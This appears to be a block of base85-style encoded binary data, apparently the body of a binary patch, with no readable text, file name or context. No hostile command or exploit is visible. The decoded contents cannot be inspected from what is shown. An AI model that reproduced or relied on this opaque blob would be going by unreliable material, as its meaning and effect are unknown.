z%Z|+aSaD3Ig-4Opa)ibO81Z6kJ_ij8^=w@%PTAjh_t!Nv@&x2K7de&}Lgr{#XqXX; zO1I20Ej(mi9*D<+%gy&J{=Ip5FcuHcq4cSzZI7KWnYRAqY4cXI@x)`o&*X2LeAzt5 z?2!A#eK*!tR@B{i-_(6K)>Ty2;@~4^(+>A%S>{`x_1M#AbMn_ml*`{jYe4^$SVSM< zRpyahARo#7J_ai6I#{U6T6IIe5N2f4AxDzDnjF5VXt)*`*p+L1!pm2&M1%^m5jrgg z6%*AFn5c~N?zgxo+=^E3DW~;*_AuCp#j95@hNUNB?jIWJw{`*KwyjZC3EC6sbix|R zsJvP~`3OWz+ZvmOTOMs0{*me7lZyT6qyP?O$xq(?$r2tv-T%;&5A|EuHXgs_c!Qll zhP~GKx^3&?R`AlaU&*@B<-n>W%rDR@c-<-rP-_gd>1P4QG0vaclHn!h1SCUb( zW0`Ztb^P(v3WStcqJVL-iJeEI-K$_VJ-o{Z|3BZgpOj6&3rCpa-t%rbIyssV5HQ=k z+Fx-|cPE^}U6EVXP-q##VAy)H;!ka~=o*VuDX<7*lt`}P~M9!#bu7I4iGa3-)N&Xsr>JkyEBv@|338M`E6 z*BUAL7d#)Di^blV09k36A-pKJ=9B~%%u_PXIw7&cIn$m4@qn|2{S^Il3M7Fv=CoGw z^#}v|VBo#An5!NsQ3y3H0`;Kt^ z8hsSkcLvd%AmycNYOMF=&AdmHC3D}$WGx4pz-6UBscweP4DD^$>=>jwMVrX=8c64) zO~-AG&7Q1F?Le%bE3WE^H2^ew+8t|XhzZ@Nrgq(Y^R6kj>#I|zro@*TV!0p2>l@-i zW2^z_^^cx9B@MrNR5;aA464B-IKdGu^Boc*1lARv-Rj#FQYW`m65wQcz zw54(T0{^3Va=F`mxy09$JpUBGU{^^mbV|r*$CpE%N5ZI* z>YC-DP3r9AW{)C(StQgq*#w<-g0GR0X59|HoxiG|vHrX722@pbIeY5RAxaxT`$AClY1Mb2S?$4W1&0rdR|{b<@_$?k zac|pn%WnwGMB2YHO>@-FoR$xvyx1rly|GR%hL&6AcclO~_4t z;n;&qn=JZLU9?UbXML?*;c$I2s~YQdMcUdn^q+s_*Y{*`^OjVF*Q(dIwnp8Ish2NX zuwY4fx=J;<`^o8CQzLSv+bqud>o?Uqvt7ay=Y9UzgL{YTqot*KYwmQSzAGHc_CP;K zboJaP;QyV4hMwZ7Lf~#83YtZ3;6me|dKah@z`S;=a7sAGkRDawWHo8@0)8fqJn>Z& zT@PU07gbJgWjGrNhr&(%q}|lD>(uGTzi`u3=Rl_~YqT{r)mfZ^JM03W&d|a{S;ZTV zKd^s(smGg1L_~kEIZ_=8m)3>n_uK43I8?E(eNmHh{yx>8GRu1BXS$Wb#^s z&|QZ~9hYSzehnf}DozMLG84w$2G{d8cPZqyn74<&%EtTTRoOSr?z{hf2{DeaaG&a0 z4$0_#?wg~!ez;`yCy>5b>`zLhzsR_C`!FeRv ze$d0cCrGI0+b$6dz7dnhgCP5{@RkvI%iEhEqY$mDMGO;EB+c+x>)Yf#GG123n zw^$HH2mD@r`rt`58skjN)e&s#UdKPbg;mME<@&{}LvS4*2Bz7Nt{R zDt<4O^9ExJF}+`|+*!GP`n&ktpz52j0p$tv{xb%n+nP$@%?@)kYIe|D-A2Rbm#;v9 z+%SsZPk2=Dn@zS4DNKc^$OK-RJM476^b-D8#=)<;MfGLy$=f)RCuS8H9YFBN;>x=Y z=6I5#=%4KFCT}L-T0k7QvWH=72;m+=A?8l%RG79BI;DvSWe7=Q0_`Z^4&-f#Mw@RV z!ilXlbq2O=xW3KjRa-YayL&J@0ZX4H^ou4wzs~l<>8EF}cci0o*jlN8;^hV>B z= z=KHp|ca<-$^v7%(pIgv*HR*cD6Tnr92QBV}2NTim8t-(iCRpn77_25wYjV5$oAbN| zQ(J{Ty3n`K>(;VBS)y_EV1qm5dSw@wCvEO$w2=wr&^Td!pUahaF~1+d?sH+uenh#U z3rM!0d5mQW2Q_pJscHG9Iy)?YXe#e5LQmyNT-u2#1_Wcmmk6E8K?idG<5}3RVZhDr z%G}>pD9v|kdl_{r955pJZjG->7xk(wiC(SlW4@*fA|vS4^P+m2k@u?JV6K5cZS(WlZu^k$kyFZYVvr|4HX_96&A>f8jl3E}eCDpdf(9-^c9V41byAh7Q4ap5)e~IWLgEd-% z+FZS+8-@z0i{wtO$CURvqV3Xe)tPFT6k%?Pn5$~k(r@Xi{5w0Ut!JuwEgMOSF*s2( z?uH>fgTQuE_1Z3thJD7MJ#pg1^?VXR#e!FY_9I52bwh&{?!nN;SQ|F94mS&cyTOmS z;Z4hzZzBH_@!WJtSaqxFA?`Ixk-p?)k~fuNgT&H=-aiU$K8OS6jod4;M`V;l3czP5 zIk(Sq@%Xb4eY#k^$Kb0QshWPHYNXC*@a)hhe4@{n(ASlDbG_^rf6-qr#IDyPpSw*C zK9K%XiX@f}btV#>LrW9$EOrVIuv-=(Il&#$FC3Pi{mkN62-FDL|MNC#Be?N#9t8?3 zHIZO&k_9t00YuLX6Zd~3#suaW3@%wlfivC4qR6JyT-VGUJe%vuw$mgG&9Y-k6EI5N z0u!frxuY*L{Y%9l%3gl)Rv1D>#B@c%u29}kDaMDd-PBHI%$GH)#{$uszJlp-a zIAlRO7R$b5ulKf=vY4kVRyt2_{F2ifD)Wa`EMDe`GgUkquWcI;o*HPYi$&x7>^kMp z{F8ECH0&=6du9%$TcqFHjC!5)n89Wg#W!pw1RG2mY$oCtAite^1$*l6p$#Fd(}kGn zid~Ou!?YUW=h6w@pDjgRsZfNuiKHh$i;#vz{u5 za)aUWr$7BVOVy8>U4k$_9#>nWpFe)>r*{d$$50xi==-h*l z!4lB%B}!!c&=8ynwKRdScuBq>dP;i~#}0&ek>==tQQKa@y!7^6eWT}Z@7s0zQg-*< zcimk#IC#HcUU=b!3-{88bfG%lJ9YcgD|cqUI=S@rsosG))v3CH>F1@pw|(@&H!u9? zHtB9Yhn4-6;#u40WXZ7SQ)F;#xjga#CLN|67YdZQHw%MgPQsM?rAL91Gn7nnU2luu z&tjxHo&!L_in8P&2hPpN1;i7-l9HLQ;??`Bqw|3gkL2=n}s09uY ze$5}G6K`-Fo8$b9?SCVrTEM}#r%%ZlC&ej_pKt{8Yz%t0G-To)_^q9X6`dCk6jA|; zJ1DZui&Hm{8kzz_7|P{ePxrjvF|p@ktTj>t4)6Q;WQSt5=U~3+2nHQx4y~@tHhQlO zZX6HuFvcbH`2okde|=MhY)I1gqnS*Uo|xMmtGE5oZf_5UY-O&nT5ycqYZJD{>SFkl z4$b}+zWL^xoEMk-aZSl%B|k;SQqE&gNbZ%xcVL;NR)oQ#6IySwUp;-oYBF;|+mRED zI{rXj`PPjS*pon73B3bGH~NxKh?!B|CTFH-BDSc3xFotW{{ZBb1m(eDAkH8!PJmSl^IPY0VkysJ(bW|!SmnN)Z5pHFPp2v<;s@? zzCSN(1YfF@9BAz8yL2F3i&BAdl~xqBK|IWAMbRMQkIDl}Ytwj)r`7X8g)}M=#aN}w z#Y?(_L1vQPhUZ6bB*KGYsy%KVL8Cg+Fz3Y|SiwSLoG#v&#=hPrkax63X|-rw8HB)k7qPoqO`1eN)?A;} zVr=tJR(X^_wI?;lS~nZn@`q*{04fdU^2u^DtdaqDq*MTxr?a`|FJCzj^04YmsZhez ziqa5wvSZmQx9aqoPrj1Ryz|N@rAxmpyM%rF3r9ysk4gvh9%j<}{dyDBdLA1va2YGr z+Ra!B&H!T=Nn7Bz{9!lqC;upHLHlJrm|vN*CjM_c0cAeVU7eWH%Gw+#UYVHk4Mp=kzb0=+WV1W^ z!Figr2$_CQo+j0a;;n+#A-0PADlF7oFuiZhvAW);uxLyv8_S$MLvDkzXp38b&1Y5v zmHkP2{=>6Gsr2ukB?|iC0$%`xi3H>b*}W6iRgpX$l!-;&nuU#=v?^KQiTv8(o|WyK z?B6uBaFTBo!${_yvEIKVIE!Tvc5sifn-&gD^5Q%h{C!JM2jY=#1&`DMoY(k_ZBh0d zltsB&c0J6_F6QAlqsA(BeTx-(*PWrRz_Wm_B z(w{T^)Avw{b=74i{kwPapwlY`+`V|v%ur(W_Wlm3_X+>>+o zJ=}MDhrQXscG!6z$@={$yu_guhP)-~^*=}(@E*@`7AL)cihwXbK-%Z_XxYE%id(qI zPilNZHG~{*aS<|u%K|wb+9qHe?kWa1%nd=JM{g9bH^3=>FdpFSbu&B7+#H^IPQtiZ z?}*QN2Tx9ljv*FIc4ew%vtQ+oHzZuPGX}jc?y}xA=T$;iSv+2LuEY`24yod0_OKSB z1hq+yt*%5o6}+$r3K*Wh^$no%FYnzrS85V||>(5j~L!L?1oqRYb}QH7kC(zHFzQp>wvTl zj=BKK6h+};;Z`Lw`zottri;@zU+c#l{8@Z+H zJhtYj%er`rgJSLi8oxRsKR5SL@ncE^;MJ^rU|kbqqld#PanlNVu=E+5U8O?Msd22a zdpY|*^)2W@lI53S?H@#h=7lBKbMB{(rUCw;^UOj)tb(IlipMo)y9Kwl2EqbO2Che; zAjKKkbM6^z1Kd60{#eP#KAUM`GYc90ERUR&?+{Y%4@!>v|J z!lFY^+wheQud}Awx+|`}DxNubpdu1~a?6(+6B}(2xVu9jO~p3DSITW^EGvupoGTJL zlYwykb#-NpR+GWMS(ulwnd9MQHEh?>KyNZuT0tmqL9-=u=(3t%n<_BTR9m0zTKe=G zjTg058Vm;DiB`5<)cD5t)S7|IYw8+>+I=Zcv?8*!My0vqdlw#015((FeL^=?v6Y6}82>Q2}BL}2+hWoq9VR2%2bO#uK|$#mYBo(*YPHf&@`49ty-O;?zCEW?o=XIPALsX2nX$PGi~-E)5Y47J-9|5 zgkn9{dhq?Nhar`4zCDmfYSi^;Pq$bvOKyp@KN3x^2){z|;$f?G z7iYy6yh8nv+g(mixaH)*E!0{xe0bv{3-KTYi2ExYed5peKKu5wd%IiBTC{m$*}j`* zIM(3QX!Bypro+zW4dw%K#;KFykfGBj~75eO? z^V~m}bT1HW;|n?ydH>^!Ur>uHy54<@96(e~`kXnw`Q5juyvj+RMaME9whpv+3h_PQ zyk%fr=pOjOmQgmqbPyy@UTw)9lD67XKA$77{^_e74yoM{@TDBWh3sd(RLUongWJZ* z#~nUj${t+z^fiuVht%ds`UCb$Qq3v+Q9mhhkc1^n8dXBsD~xCH*lLPp%M{GXO$Y$S zA^@DtJ7#3pe#avA&?i6tHzf&!{PnNpgGc@Pi;&?8>NsxNB0h`T-QZgU zI){C|1+C>U17z;X+S1gQ-0vRWvK^a#kX-|`DS9@sb-Zv3`yyXsY)W2h-&W(lfm^Qc zY;>5^4P6GE!4~j`nP9V3H{2~fad&;jW)oQ0?{yh;de+sTHaQwQufIilO%T)7H=elu zhD?>vFnVl($7*vgI5yhAz85f*Cen+?%RK(b+O;o+*Q|~DJ!RvI(}_}p0Jj)Q*MpDz zcO)XzY4G2W&9bO>-*9c0P`0sstydn!6iy2Q1F;d*_p)yc4GEp`kZ_EI?8MaAkbM8)OgHmk zNn*4R3ZT)ZaUjOhTHs~NBY_oA2e=%X2Q#D9qw3V?N~3PO`NBl%?z{f+o}PA55M~d6 zovnmIR3)h944o)Gi=ps(q~DaP41w^P!Nf$@WjEh7+8|VAZn*x$jRv(;83G{W!kH0@ zu3aPkYWlZo!3?Oe(h&$X1O5cOVBXu;Roy+5LVdyejTKT1oY1+%@B3maLs7lX+uvof z<$mibm7XcXn5YG|OvNsrH5RfzdoR|^9nf7*Agj>jKx8RF=cAXDm61y4XE5~<6tpxN zT1@(_;Y2CcpSqKcOJV+{gRt=iOAVpVVh;F|3GI2VNfrQS7Mrm z&u@-;mbAKDI-rjW4gUEZwrZE3&wsBI8G4+aT93DLlTYZW9X-%LX0hFhiCr0AJc@~( zJn#JJPu1PHc;NEY&8c|pi7_0s2-*j|k%;#}z#&PURg~f#bAN`9ii2j%;~YhSY7_wF zVC?74ji zl*(&rUYU5Eoo8XE1xfG=Tl1tr!8A z@;5&rl_8wdz;g3%bid&y`ITHW4AJiaC}CU6R0stRCbDBO|6=r!^Y2z=D0r=3RyV zv_=jED}C*m=(>5E2wPS*u?lO97Hvm3B%MX-!H5camgE7gQFqVyVx3WZ%c#qJRcDNO zKlc(Gq@E;T*(ck^zaQ(b?Fxm)+k}N}giiYf>2aNrKjT#gr7tYAv%~?d#c1Smm8?4= zIy^vemmfrf$&AgX$;@1l=eQg}L34uUx;!z&f-f?pPs|8*QU=RVKr^KKAy~gXuz@=r zWj74uPR$%MJ57t1;SI{CHsw|kmc1Vl96%b74Fi;R@0o!O8wQXPBy#`2hEw>G)<_AO zCp_A|XgvLd#^J~dxw4x;UL=yHh*(X9}rDlXRF= ztJyPfy~0mwwUp&Yf|38UJ5?yf4}VS`T3NOFS9^Bjh&@9`@|u)mFDQ4?I>byD%kgs( zC@Ip(oLLC>i&R{#EX6#lPpcJ_7W0$aurVq$VX3G(@2gw*5s~k1XI^N@CspFnM6vYG+Izy=QAwfK0LMJ zE=sV(klE4os+B)B6TxF`U&iAxKS>u*+;7km73n|zfA!l;a;N|I?y7m28u~H;ZvU@z zlkhTi{7q3_+F2XS!H`6=&}zEfAx`_%biY>%?gg)U^4U4Dvd`k9ed(iHUQ2TfuDKh?Q5cIi@4E$&%*c;!CNiY~jA&5OoH-n5IbP6X9nlnf>kA*aU!!Ng*BqUfbd4j1zl z7NF|Swp}A0(cOWmLH-Vk=QNSdIY#T;4OQVGS6F}TgW)P9NE{AV&9PTME!`ZhoU*tL z*Hwnuu5e`~rd|;Zw2)3=mdzaQOfU1%MgvzFIL%M!WC4a8;-WxOJHnrmZox_dg{SBu6S#^a^z>#}In z6`07V97p$_s{Lp400%1{XztwEt1*W?>`_nHtm)l3yGHE49qT$8IHq~WI)`OsL$%56 zHJiO|Q}u=s%)uG?iToHLKh3U@vbS+25|}Uf6~GsS%#bMz8z!cVm-C*b@s~_rO@L(FP_9Uk=D;zVOh{!!@Dut+1Gt?L%ZU9d}bJLL7oBp}-#rh=?xQj|<{ z=EEg@`>J(nmEE$}7S#2q47%N$5`tN;)w)6O{8q(s{XaRYN&CjHQ+*V|O9o-)}DC!@?| zF4e89u0E|RHM>~!q~2!QRA0YpPBYFk7)l=r3J#M+{|`@zg2k!Ics*-WP5^N{^$&U| zz9{tWky&$03wfpiS4eaPD{L>;2mJ%P$T4UA|$qWOkkBHCFW6 zR(E>#0r0GF+f7=HbvUz3p($9;1^=fMc_hnR_y_twkvxTrFmVSD7N|o!%p7j0jteqeI_6+b zALJvYk^ZbLm40@M!~*5l2Fl9=$APbZEhAk0fmk&Cfu2+1x>7ABtMqWWe;^veJ=f7K z*QQ(PDSV91{So@LpTe7K32*~9gKH@;T#EgH{M|{sS2UhbsKtTiC2PsJ-$dSQCUe5F z0Erzz=2f6l%X5(e6m!{@FiUeS0JC$)>bH4DnTu21c3sSC^=mc8pVlwCv}fY>RJbRb zb~stAOs@yzov0Jn)zs?sWid9E?P1s5wP(*=dv04**>HYs?fDI=jYjSC5k;LKUfDXH z44JLom<4g6OIgpJW%V1!d*=@yt$uRjMzz)(Q^Cy-Xnr=ED(2Oy+11rYnGuiMbC-0$ zn2XwM(VRSg6>J3?_?CY1nUQ;f+(n@0z+{|jLF4g|k+{29xm3_2$!u?N;=C1|!XX)h zigIHW@?vS;(UeM0{iB35eH5dBoFK}<+?)*@ zsIrv`4ipT4fd7!6wHEW|B2YK*yRxE)J1yaPNUWwTW#V2%rNJeKSr8I@v=}gYaVTxez0X!wJ;qhTcxWGr6RSF>aa>BWm`r^TSRjU=Zlm%TS*jE zwrLiP37@Sb`^%$2Ha;3I3>MQsvxiZm5}jf_wn*IO)ZU4dMnYTqSLNfa(%an6->x;P zf2Gl#E4ktdKBt&b@0GsHe;S2m>K(0CHP$*_{;PCb&Z*==65i5jex){QB^4FReNV49 zJq9(DF}*koJ=8l|3!pkUKTx!PwB={iU)?|Q+lIEVUu6H)d@>yjkH%Hn-${4e_jYB7_tKtMwY`6g+A_LejJx~;r|IPtuT;|FnhIK6Nm>id)0wNK-137 zokMVfzTg~buXC(LCej!7W*6$eBnRx;r|rYSPc+;lF;ULl?YXmN`(|AFJxP#h+sRYmh(CSv>3h$g_)TC8?FoO?`^B_FNL;BuP1$# zw0&0kUazE9(1-Loo%55|Dk!j$imTFcW2OJ1Ul@Y&G`W9!pZ3jaxiYRYf2768MtR;x z>i#wT z{cD7UxVHZRE59f{kCOdsr8{_Ho}6oY-?IJtm-TITNjd(z@NNDqiSF3{Z~QTZSd!E5 zTd0Ij%{rhA6Dl_59z2W4)XXyc!W1G4U7hmY{09g7#kL)wcgu5krH zdhue10^ZrgkvxSzaFVEccxtS3qf;7k(Pf{H{UAv%8HeMu zR_C`bUd*!?R^YYr6};BIkUw@BbAa-%@;{o}L;&RR_LdOxZXM$Nc?9JL_n@)?=Cg0j z?TdWmWd3_@-#mKf6fjfY{SB`|zRkQw6b>8#tCkTvl2UA4pOLK+~1k0d*EqB=FcG6e*EI z8p#QPq+nu3;Dn5PT;yd8E)&>t`2b#uZ7^dO;6f(pZ@613|DE3?$l}Dz4RI3KR3+>x zBQjm?bOsR4_0QtqhJk@PtL2x@oobyZ8pP?33?KRYHy=JcY!_o*S48Eh9Nl@vZR7iX zx_F%DhraE+rRRZDEz{|`=dFL}@Lk=LJwqL}S>QPujTXBgWY=Hukt^0`@wLEfbBE(z zmC9u9-Kh%t1%oK+)RWGCwpi-%&bmR>FINSfJ2ir6kdohg=`jm{h@ z1jM0y^P8C?Dzb08Lvc2mQperCMEp_O?VfFUnfAyx(<)p`BDLlF{}}VCSy{96rDoMb z;JDT5v%hr(6MmI=796ScMNF&zbO)0@QFS)|jZ16{KmOJe%30Z%^hLA{e2EgDi+nqj z@zEAlC?B6$IFrAd8i$(1hNhuLd`~}*Z*`(EDOuR>l8ueYcbn)_sLs7a->M%bWgb@M zhat5l>*H`4APhrUz@d(#AYijdnhUL_KCX!gb&TD7v}$xwORRat#hpt(T3h?krJWbA zXpXfk8m-!U++c)5N?=kLpG+;J0KO;!}d& zC<`hS{s$JCBy~O!)L^Q(gbo4TjN(z~I_T#n6vS#AQk4+HG_-j|RIiV&*bMbjRY=Ab zn{`c`mwR-eBU&BBU&nwjjN?cm5y7$Aityh<7eCqS)!|?7lNSSFtnz&>ojNppJX03E z@WN;o+gw2tOiL1KZtfZYkr#+`I?T2`E(#0(#qMEBqYWF=3L%<-z*a*8x^_z=$W+zenZ zk*DD^XNb={16J?9;5Ny49E{O1nh>_qb6=&8 z*JM7LQh(qNs*(4gRY_-RdU|S*H}huBQ|{8~pFz$!4sHeRlK5_U?pq+^HbKfA#u_MY zH~JwdYXmx&?0!e$J~7TVYAe(mGT4uUq9ce;Y3@cZ=UEaJyh9aVXn1P8`!+RbP+*Uz zn(LDQRW@jW!T3G3R;T{jnl*Q=IJiPszJJ9oHvu2K!MSXXF=>b60-Q+&_Kjq87b4m! zw1(-k2JJi+P}6-vf(hiZiR3d&myVFrp^M8eXqUK^`xR!fw%{>@l`Nx?Vuf>C3MMbD zZ=zIOhbJp2(Oj4#UEI+;o&MU^}1lXg0N3~mL$Rtbw*tr&KyReF^gsIq3W z3dW=e^0?=&6GJYw3O)%*waOFmJ2Pu)oIdFrW_!R|-R(qHS*>!0bNih> zep9}_(*|m;&mEOtEc`p(j`qs+YT+^*Try@^nCD zhW!X6+5z7g?86v~Il99sWZc+D8;O!IgY=--0pvU!>>I25`d0Vd_M%4fqQ+w2i4gw- zc}Jgq@(V`^w`NA`xt|`f5m!f!N>|{PzSWW&x2RuI>viX)(Kv zwIHB4gYhi|aNV5ipvL_z4ZwbhWJ%aNZ}xmfhVa4J-_(kq(S8_KoLABJL}%fDsCudd zRw2}!6)S*10=Zsj?m%D@KXl<2x3epaR_$*zn&0Tlq$ArNzjpEBYajp7fUsp-nUMiu~V^FSS_R0aE@R4}YG~RsmxG zAy zJf_Po^F`cd6M|APaSGQ=h~%-*Me&XN?ReBgb1KL0r>7tf-$xecP|T-A`WB$FY2i`x z5poioxvcf!9Xftprdu)&HTiI@EV+{B>67);e5z?d!1)2D8pFO%`zXeln{8w(FYS=Z zzFDB_#PyNmbe6VOLOCM(fUIBS7fo9zk$n!J#;u)=QJ#Q-10`_NPgE{R*P9S_n1%PW zn;}s*X7H=-9fc#z;m>qz>1c~CW#hq`-icnH+Z%OTO_^p~J%j&NU*W1K4_HF;0xQ?n zRO6y>wx+kPEaLh1y?d>7v2dg`+t!;AfP^NeKzcal~Q@PM!4hoc0G80jzzF5+} zrE~2ieU}Rd+gJBz`uZ|~IshVIj|^^X#e1e8zBTS6`+fY7My~ z@ukf*^`_-lv}XDmJJ#&(rDsg^*Yx&fqF!4(iNcLV_Oc{AJ`kToJxc5{Wjvz zR1@1rjy}BM(q~aGq2z&*2JtP`C$LJYc+3S?{wneV#Y93dz@ZBH~g zo`)!6s#@J;Z%R6xeJ3XD&C(g+X_9<$ZTMu{S(~FNVSiqz<=0*?RZeu$eU5&VeLxnQ zd0(AYZ5Q7u@sS?{MSm-9d7S5NjFO)urO0$TlzI_EB{oP;)3cFXIQIfQU8sGY9?jbF z4;GRrk!-R9*&Qmi=czE=GOLE@0=&Nx@xM3Y{eIHcml9ba*fDvb@aPjzdpOa-k&!47 zuLRr3+NsslG{}3o7tjrz^fu{xh4&vpU8s|w^DCHVj*oZL`;7q>D4h0` zm+`(wfAF!$SBeOQun(P!7yd{dgHCFnG6q)`je+Vqxu2fT_tLB}n070JfO?R8a1&@j zhoalAf=sjkB%)~Ci?!Xw*YmnLD|HYCD=E)#+==~#;xDNK_XtDYc-)&iL!PNc$I|QU zU2gJH4Sni}O#TzXn<)UmZlthlPG8Wcph5rzZ&0V#-oBYh+Po<0g&e@!2In%{WO zQ)(SC@;ddVx_T{?OEa{^D#)+#?5`c{y#cR>OvYrbX31(A>O<|%bB&RU&3ccxJg;l^e4U#c1 zL4_;7i&)*5^}Fm^%6=go{H`tP^;*9ht&4uw>h(r#-<1y15A52RA5{BL%o;<8?}rvs z?&l9imASoI_TM5}N?gugr=~>|$5S+aisR$BXQ^x-m_`_!fFul{2PMeV$GctP-Tq0E zb|`=j<^Tl0$)4W=WWCpTk59>F6B=U%?2DU#eNl_J?c=DmQUeQuB4jG3)o?yvrfo#b z$R`0(0Wp%m;Yv{ew=7R|BlQXhqZux;vR;U*8?XdR8@YQF+&Ppqn0c*$tuR=4ys)`C z!af$Mc0W;{?wHq;J%8k(dEx4a!%@DgE`w3_b{)cx5C0+}Z40zoN>iRlwJv$nqVXxS zBj&62x;pJIM5?RdfgY(IP#X*Y9M#&@4mPhjs&lv(hBKM4^b;yD5`$f&I(oaq;}AdE zlgaeBpD;SZ7Y=Tk*XDLWsh5gm^nRPc;PoawQDd~a$Mdixs)JFNw;C=m<0A&c!L
      Ri_Mn03uRNGwR4u+f$o21>><0dj{grXO=H#YuK8cy_7AH?iZIYms$Gd;H*5>hb@+s zRn=G}5!LNB+eNLdwvO0?G|6^9Bh`ef^t;>IY#nj-%~*%+m?*;2uR;A3yZIUE zhSiu^6BLDQJ7cY~PSn&O2o(;s#P9#Fv>TihHp-4XE5Ploe52%3@b7H5XNBDE6^IP> z@^)8OS-tMRzumbV6KMBpaz^IuUX!7AySSdLWD>Mt11vJIl{-X*gULfe7s50B`OQ^i zg9EIs!s%dd{o#-9K)^j+VRu%xv5VW;7QWIy(Jr14wzA{8((-oQkGJp8S2R@Ur3qbo zd8tm+OJAY^{}Q{J@0;h|!ny#pp6>u0W59^i{szS z1@gM7&u13x+_z&aGuXav0n&Q8t+`eR9`_&Z7!cp6P3zSGQG|j?{tR2J#+b2NU0Pn- zc>cCkO~+$((P*96+Ocy{P0ga69YaUT;|rXj*tR9D77vShg&Y34uKdXP^~?QgV@9X; z!+Ry5*4cGUtZs|s;OyJEj>0S_r-J2U!4P|b{=Kg z;W@KNA(O|+Ap;3%3W|1f^hi<`bqa;hYWa_1ccA*=K6qG=NvMdpmJ2(5Q|hB1|LMo8 zQ|BK9jrKSrf^o^Qn~p9qLLuUfFw23}=_=vQt_wTb2RD0!h*zVrxYW)q^Xy)mIS}is z#Uz)G3PRV)m0g0+xqP|s?#_>Yd}r&XMAcmvK$Q~pI~VNk@87+^>5qEUstfL_N^E+d zb8FX%-q@wXI-Msfh)6WG&ZY`Gd^Vrf+!CqngU?5DwrUpKt& zuEs9u*N+G+R4E8mLGcmh?`phD?pv8xBc7)Yy&K6zh-q z5MqnaPPLj;zUn#ox1_zZc*gmUtDWk{MPyXi2bYH#K9=f4QsoEMNnI4WR~)EEoa2XA z?`c^JkG?M)e0Uw>XLwntB=QHS7}uZA^q-;`Bk7^ocrZ7z0Xi7^nTuFzs;Y9v4d%*q z1(=2F&Sxcl7JkY(!W<=Iz#nViU#io^diG-k+M-}DYyxNhDrr)Lqz5blSWg~e#-8B` zcX7_3Kq+bm=~I+g&pe3(1;;J{8;GJ(nI#>`*9*;^@gC&SS8+B`NKGAyR6-qcGq1xg z_lBbDQpE=_%))88l_zV$VUS7cdHe|kRFgL=%z{`c@;MEHepiv74A?QMdA^4H40VGw zi$)+Br7bavlvvmfT*zfk7s)q_%zquMiO+Q6T0mK#Bm{J8eN2yO$Ucpo zgSUnD{eoMJCRwC_jpCRHDhD1QixtR1UI$2%vKWg1*U7e}C~xVR^6&Cpiq(s*6+M6E z{SEG7-<(-k6Gc@hE?=Ayoite^&AVyZ?A99C_FvHveX!Sda};)imVTW6HOk>nm5{&R zg@s7Ii5F5OW}blpxxvC?{IYB%JsWY$p+s(05pnaF+hO-Hu1wn{7hxr^+tJ(4cvQ7T z&o&&CUpeayQbpknyte#9il7N7oG)2a|4+!z5QmgEMq=to?2zPB> z%?tn|Ko)U{fA?bHv(S&!$8tACYLew_&Du3JVUn$W(@fsY(1@78Tk) zf5rn?*|Eu)bWZEZ@>{%CnvsAA3j^6s3BQ9|oN4(`S|S3_-!m?JPHyu@d7E3BTUw~X zFH@6W=11dugo{r+c_Ll~@6@|m$E(omd2N{bm9wFU8nMyI#@xvSD> zs-seMdP~q<84kH(X>qDDdRSt!7Z!6E@4^%#GjQb-sYIV6kRAt;V4vC=R58N+- zzq+eZSdFAf^y;pv@8BV2A?XIa#iEy<(p%K-aM)l_tDF5kwM8$yS{3p!6f^6GDg*9N zxY8M0-8c{bg@hkbD{iJ%3{!);DyP4}-ywcWt@c-_)HRW^SQQ`<$M+Z$(p^eXUS9dY z=*`&ZD7Kn=mKCklcyw0C{)fd@7YN4;Hh-StNqL|+uGKm<3n@-gY!3FS&Z??Tnabsc zWF)w@KmeMpXFwf?umKVf90=bTt>M1HW+q)rcR_2(+adG&#Q$+jC!$NFgQBHF#GL4K z@wpc35Oa$=W1vh*oO3?g4WYn0K;Kr(Dsikkg>7P=JVQ(deF)CNAviHqnt$ZZ%p4c@ zy#o?k2StX!Ly4+XnAuc$W#;Br7s}xwJW#1rZB0oa zQ}HvMY5FivTCH4QH}WD%dG;-w75|L8m7j#$XC8=4Fdoc2a@Kq*w22E;e?yz*EO+h@ z15UTl7fOqpMHl7G&NoVehist+M(M253|>O`!OSmE<*QDAV5_Fj7Cpt}Dzp|I$LZv` zk6{1n0&fVN{~T_$FfIjdk(7A~S-KyE~Mj$g1KcYML-%?pG>3ogK^ zuwARY5%)OFxgXKaAk>?kq2OoZsqV>RJ9~O|_TnU#<_`p_ zV10w#77X=Hc6U!sU%g=v6psC%_zTVEv{=qP;)O1jGLOh8VRLhiv@}3W1+AKua0EzU zv*4DAC810aoHY{mvNP|=I&#KU6Ox8!Cmk79A%VPf*3o3|35Q*Tee82A{*wd1%Br_+ ze821?H)@aGAm<)=U{VlveOk^va)W@3Zm-($kch+QiITJOpKPhJvbk;S{kz-f0P$3| zZyI=T9)C~Ujzxo5TY=cnwxPebJ)2_fw&%z^`JAmi);J6=GA_qQp~tuzd-!?COIw26 zOJq@iomDYFv^2xFFAeTkFRG(7{u-Mqin7F2z(YEg-~tK zzAfwl1kGuUL3euPDxCqv1?ziw0P#`7H1d9uq3#3fNw_iG4GU~2xAml&iWy_DCo|qQ zHU)hKWP&w3oUdh-MtUjFNs(rUGf_g8O(?Z2u41*u%$|I&oQT!Rp(^g0vnW7h6DVI*Y^$7 z_YK7l0@iw9f)=!VA5<-_L*ny`$B=XWC?A9N*DLoJHRP0MqkB`ok&g9RnkQz&RLuxF?}MZN`T^e%ZC%PCVR0MG)n82yjrxzLZ#xTYgkL+$dp z)akk>uh?a+OYI7@sCfw1({u_@y_;Pp%rhuF+_$J-mPc#PRCUL*b~$ zV?Q(+^g3+Ff)enviwAePw3)h$*0pPJ-qL>=IX|xRuNeE6rRuBC|I}vbFYo$XxrcSS zXssI5Q4nf8UUh9$rxTXA%chxn^QX@5Y%!S{Iz={ZmaeQeYBbgCu-&2uHiJ!Ew|sse z6bj5=zGeA0pBwCOt8MM`pZn%=bk7XF5MO_PbytF>jt$e!Cq1fck!+Z&vkm+r7sl8G zV71PW`wN3WDf7gqRUcOe;agP+9QAz|6;MURPOsQSW&3=wbzZ?k;3iaFHV=@%*}_@3 z0jh_F@2{3(e@P(0`|Fon5)TC8Qdgp~3MUu)LLr|JP@B~Mv~3%^Oa7jAm4@vO%Uk>Q z;T)e9M<8vtO67D5PObLRzw*0U>vCPy*XJ4?bxD7r!+uLsSEJ>lq6pN6{}RQ6on6v% z7JKQ5fk9C`F*s0~4%j0)>1~$_S9B4(UHXZ|QHme%>%d@X`Rrc_3W~3{7VvPlmLMM< zq(6^?cy90`#Zz5Q;fzTxb0Y+a;b;+BV?pi5*r+>b|6Lo4do8A0hDW5AO%`vQwf)W> 